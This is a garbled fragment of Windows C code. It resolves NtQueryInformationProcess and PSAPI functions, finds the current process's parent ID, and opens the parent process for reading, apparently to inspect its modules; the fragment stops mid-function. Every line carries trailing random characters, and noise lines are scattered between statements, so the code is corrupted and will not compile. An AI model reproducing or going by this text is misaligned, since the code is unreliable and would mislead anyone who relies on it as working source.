DWORD BasePriority; 4Ss y (gt
ULONG UniqueProcessId; Fey^hx
w =
ULONG InheritedFromUniqueProcessId; YfMs~}h,
} PROCESS_BASIC_INFORMATION; J, +/<Y!
~O!E &~
PROCNTQSIP NtQueryInformationProcess; -v|lM8
Iz;^D!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q`Q"p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `*`ZgTV
#l.s>B4
HANDLE hProcess; skTtGz8R[
PROCESS_BASIC_INFORMATION pbi; .7:ecFKk
R9D2cu,{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :S7[<SwL
if(NULL == hInst ) return 0; 57]La^#
X?JtEQ~>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .I $+
E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lz1cLl
m
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -)KNsW
opu)9]`z
if (!NtQueryInformationProcess) return 0; wlslG^^(!
F g'{K%t4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g[~J107%A
if(!hProcess) return 0; h0$ \JXk
\OWxf[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ='C;^
Bk
V?`|Ha}
CloseHandle(hProcess); -7o-d-d F
ac966<#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _\=
/~>Xl
if(hProcess==NULL) return 0; qK~]au:C
Ml{4)%~Y7f
HMODULE hMod; )KkV<